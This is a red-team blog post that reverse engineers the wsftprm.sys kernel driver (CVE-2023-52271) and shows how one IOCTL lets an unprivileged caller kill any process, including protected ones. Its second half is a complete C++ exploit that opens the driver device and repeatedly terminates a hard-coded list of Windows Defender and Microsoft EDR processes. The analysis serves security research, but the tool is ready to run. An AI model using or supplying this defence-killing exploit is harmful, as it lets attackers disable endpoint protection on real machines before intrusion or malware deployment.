Exploiting wsftprm.sys driver for disabling AV/EDR

2026-02-12

Bring Your Own Vulnerable Device (BYOVD) is a technique used in red teaming that allows users to perform kernel-level actions by exploiting a vulnerable, legitimately signed kernel device driver.

Drivers run in ring 0 (kernel level), which is the most privileged level in the Windows OS. This gives an attacker, among other things:

  1. Full memory access
  2. Full CPU control
  3. Security bypass capabilities
  4. Token and privilege manipulation etc.

This is very different from having SYSTEM privileges in the host. Here’s a quick overview of their differences:

Now BYOVD comes into play. There are certain drivers, which mishandle user input, specifically Input / Output Control (IOCTL) codes and user input. These drivers can be abused by attackers and red teamers to access and control kernel-level functions within those drivers. The most usual case of abusing vulnerable drivers is to turn off defences such as AVs and EDRs.

For reference, this is the structure of DeviceIoControl , which contains the IOCTL code and the user input buffer

BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode, // IOCTL
  LPVOID       lpInBuffer, // user input buffer
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

CVE-2023-52271

CVE-2023-52271 is described as follows:

The wsftprm.sys kernel driver 2.0.0.0 in Topaz Antifraud allows low-privileged attackers to kill any (Protected Process Light) process via an IOCTL (which will be named at a later time).

Protected Process Light (PPL) is a Windows security mechanism that protects certain processes from being abused and tampered by other processes and users, *including SYSTEM.* The most famous security-related PPL process known is lsass.exe.

This means that the only way to reach and tamper with these kinds of processes is to first reach kernel-level execution.

In this article I will show the path taken to reverse engineer wsftprm.sys, i.e. the vulnerable driver, and write an exploit that will allow us to disable Windows Defender.

Reverse Engineering with Binary Ninja

Since we are looking for ways to terminate a process (and also we happen to know that this particular driver has that capability when abused), we should be looking for the process ZwTerminateProcess.

ZwTerminateProcess is a kernel-level function of the Windows API which, as the name suggests, terminates a process.

In the Symbols area on Binary Ninja, we can type “ZwTerminateProcess”. This will give us two results. If we pick the first one (that is the one found in the .rdata section of the PE), Binary Ninja will find its Cross References in the PE. We see that ZwTerminateProcess is being referenced in the function sub_140002848.

ZwTerminateProcess cross reference in sub_140002848

Analysing the function, we see that it receives an argument arg1. We then see zx.q(arg1). This is a zero extend qword which means it turns the 4 byte arg1 into 8 bytes to fill the ClientId.UniqueProcess field, which passes to ZwOpenProcess. Then, the opened process gets closed by ZwTerminateProcess.

ClientId.UniqueProcess = zx.q(arg1) <--- Set the first 8 bytes of
                                        arg1 as the target process
ClientId.UniqueThread = 0
NTSTATUS rax_1 = ZwOpenProcess(ProcessHandle: &ProcessHandle_1, 
    DesiredAccess: 0x1fffff, &ObjectAttributes, &ClientId) <--- Opens the target
NTSTATUS rbx = rax_1
NTSTATUS var_58 = rax_1

if (rax_1 s>= STATUS_SUCCESS)
    HANDLE ProcessHandle = ProcessHandle_1

    if (ProcessHandle != 0)
        NTSTATUS rax_2 =
            ZwTerminateProcess(ProcessHandle, ExitStatus: STATUS_SUCCESS) <--- Closes
                                                                            the target process
        rbx = rax_2
        NTSTATUS var_58_1 = rax_2
        ZwClose(Handle: ProcessHandle_1)

Our goal here, as it is usually in reverse engineering, is to find how the driver works its way to end up in the ZwTerminateProcess function, and if there is a way to control arg1 (spoiler: we can) so we can target the process of our choosing.

In a similar manner, choosing sub_140002848, we can see in the Cross Reference area that this function is being referenced in another function sub_14000264c.

Use of function sub_140002848 in sub_14000264c

sub_14000264c is receiving an argument arg1 which is passed down to sub_140002848.

We repeat the process and we find the that function sub_14000264c is referenced in sub_140001540.

We see that the function sub_140001540 is responsible for handling IOCTL. We can conclude this by various references in the decompiled code in the function, like:

  • IoStatus.Information
    • IOCTL handler
  • AssociatedIrp.MasterIrp
    • The IOCTL input/output buffer

The most important part of the function (where the magic happens!) is the following:

// ...
void* Overlay = arg2->Tail.Overlay.__offset(0x40).q
// ...
// rax_2 contains IOCTL
else if (rax_2 == 0x22201c && *(Overlay + 0x10) == 0x40c)
    int128_t* MasterIrp_1 = arg2->AssociatedIrp.MasterIrp
    int32_t var_438
    int32_t* rdx = &var_438
    int64_t i_3 = 8
    int64_t i_2

    do
        zmm0 = *MasterIrp_1
        *rdx = zmm0.w
        *(rdx + 2) = zmm0:2.w
        *(rdx + 8) = zmm0:8.q
        *(rdx + 0x10) = MasterIrp_1[1]
        zmm0 = MasterIrp_1[2]
        *(rdx + 0x20) = zmm0.q
        *(rdx + 0x28) = zmm0:8.q
        zmm1 = MasterIrp_1[3]
        *(rdx + 0x30) = zmm1.q
        *(rdx + 0x38) = zmm1:8.q
        *(rdx + 0x40) = MasterIrp_1[4]
        *(rdx + 0x50) = MasterIrp_1[5]
        *(rdx + 0x60) = MasterIrp_1[6]
        rdx = &rdx[0x20]
        *(rdx - 0x10) = MasterIrp_1[7]
        MasterIrp_1 = &MasterIrp_1[8]
        i_2 = i_3
        i_3 -= 1
    while (i_2 != 1)
    int32_t rax_7 = (*MasterIrp_1).d
    *rdx = rax_7.w
    *(rdx + 2) = rax_7:2.w
    rdx[2] = *(MasterIrp_1 + 8)
    void var_432
    rax_9 = sub_14000264c(var_438, &var_432)
    rbx = rax_9
    var_c84_1 = rax_9

As I’ve added, variable rax_2 contains the IOCTL operation. After many if statements, checking the values of rax_2, the code reaches a point where if rax_2 holds a specific value, it will call the sub_14000264c function and pass as argument the variable var_438. This will call the rest of the functions that will lead to ZwTerminateProcess. Here’s a quick initial sketch of our reverse engineering so far:

We see that var_438 gets passed down all the way to ZwTerminateProcess. Let’s see how we can reach that part of the function and take control for the function arguments.

User input and controlling var_438

Going through the important part of the code line by line, we can understand how to control its execution flow:

1.

else if (rax_2 == 0x22201c && *(Overlay + 0x10) == 0x40c)

This line can be translated into

If the IOCTL is 0x22201c and the user input buffer at offset 0x10 is 0x40c

The offset at 0x10 indicates the size of the buffer, so this actually means

If the IOCTL is 0x22201c and the user input buffer is length of 0x40c

Where 0x40c == 1032 in decimal.

2.

int128_t* MasterIrp_1 = arg2->AssociatedIrp.MasterIrp

this creates a pointer to our input data.

3.

int32_t* rdx = &var_438

rdx points to newly-created var_438

  1. The do while loop moves the input buffer data to rdx , which is a pointer to var_438.
  2. Then, sub_14000264c gets called with var_438 as its first argument.
  3. sub_14000264c calls sub_140002848
  4. sub_140002848 sets the ClientId's process to var_438, opens the process with ZwOpenProcess, then closes it with ZwTerminateProcess.

After the reverse engineering process, this is our sketch:

So, at the end, we need to send the correct IOCTL to the driver and the input buffer set to the PID we want to target. This is possible because there are insufficient checks of the nature of the target process, i.e. it's not checked if the process is a PPL process.

The exploit

The exploit was heavily inspired by an already-existing exploit written in Rust. This is basically its equivalent in C++:

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <vector>
#include <string>
#include <atomic>

#pragma comment(lib, "advapi32.lib")

// Globals
std::atomic<bool> g_running(true);

// CTRL+C Handler
BOOL WINAPI CtrlHandler(DWORD ctrlType)
{
    if (ctrlType == CTRL_C_EVENT)
    {
        std::cout << "[!] Shutting down...\\n";
        g_running.store(false);
        return TRUE;
    }
    return FALSE;
}

// Target Processes
const char* PROCESSES[] =
{
//    "names.exe",
//    "of.exe",
//    "processes.exe",
//    "to.exe",
//    "terminate.exe",
    "MsMpEng.exe",
    "MsMpEngCP.exe",
    "MpDefenderCoreService.exe",
    "MpCmdRun.exe",
    "NisSrv.exe",
    "SecurityHealthService.exe",
    "SecurityHealthHost.exe",
    "SecurityHealthSystray.exe",
    "MsSense.exe",
    "MsSecFw.exe",
    "MsMpSigUpdate.exe",
    "MsMpGfx.exe",
    "MpDwnLd.exe",
    "MpSigStub.exe",
    "MsMpCom.exe",
    "MSASCui.exe",
    "WindowsDefender.exe",
    "WdNisSvc.exe",
    "WinDefend.exe",
    "smartscreen.exe"
};

// PID lookup by process name
bool GetPidByName(const char* name, DWORD& pidOut)
{
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE)
        return false;

    PROCESSENTRY32 pe{};
    pe.dwSize = sizeof(pe);

    if (!Process32First(snapshot, &pe))
    {
        CloseHandle(snapshot);
        return false;
    }

    do
    {
        if (_stricmp(pe.szExeFile, name) == 0)
        {
            pidOut = pe.th32ProcessID;
            CloseHandle(snapshot);
            return true;
        }
    } while (Process32Next(snapshot, &pe));

    CloseHandle(snapshot);
    return false;
}

// Driver wrapper
class Driver
{
private:
    HANDLE hDriver{ INVALID_HANDLE_VALUE };

public:
    bool Initialize()
    {
        hDriver = CreateFileW(
            L"\\\\\\\\.\\\\Warsaw_PM",
            GENERIC_READ | GENERIC_WRITE,
            0,
            nullptr,
            OPEN_EXISTING,
            0,
            nullptr
        );

        if (hDriver == INVALID_HANDLE_VALUE)
        {
            std::cerr << "[!] Failed to initialize the driver\\n";
            return false;
        }

        std::cout << "[+] Driver initialized successfully!\\n";
        return true;
    }

    bool ExecuteIOCTL(DWORD pid)
    {
        std::vector<BYTE> buffer(1036, 0);

        // PID in first 4 bytes (little endian)
        memcpy(buffer.data(), &pid, sizeof(pid));

        DWORD bytesReturned = 0;

        BOOL result = DeviceIoControl(
            hDriver,
            0x22201C,
            buffer.data(),
            (DWORD)buffer.size(),
            nullptr,
            0,
            &bytesReturned,
            nullptr
        );

        if (!result)
        {
            DWORD err = GetLastError();
            std::cerr << "[!] DeviceIoControl failed! Error: 0x"
                      << std::hex << err << "\\n";
            return false;
        }

        std::cout << "[+] IOCTL sent for PID: " << pid << "\\n";
        return true;
    }

    void Cleanup()
    {
        if (hDriver != INVALID_HANDLE_VALUE)
        {
            CloseHandle(hDriver);
            hDriver = INVALID_HANDLE_VALUE;
            std::cout << "[*] Driver handle closed\\n";
        }
    }

    ~Driver()
    {
        Cleanup();
    }
};

// main
int main()
{
    SetConsoleCtrlHandler(CtrlHandler, TRUE);

    Driver driver;
    if (!driver.Initialize())
        return 1;

    std::cout << "[*] Scanning for target processes...\\n";
    std::cout << "[*] Press CTRL+C to stop...\\n";

    while (g_running.load())
    {
        for (const char* proc : PROCESSES)
        {
            DWORD pid = 0;
            if (GetPidByName(proc, pid))
            {
                std::cout << "  -- Found " << proc << " PID: " << pid << "\\n";
                std::cout << "[*] Killing " << proc << "...\\n";
                driver.ExecuteIOCTL(pid);
            }
        }
        Sleep(1000);
    }

    std::cout << "[*] Cleaning up...\\n";
    return 0;
}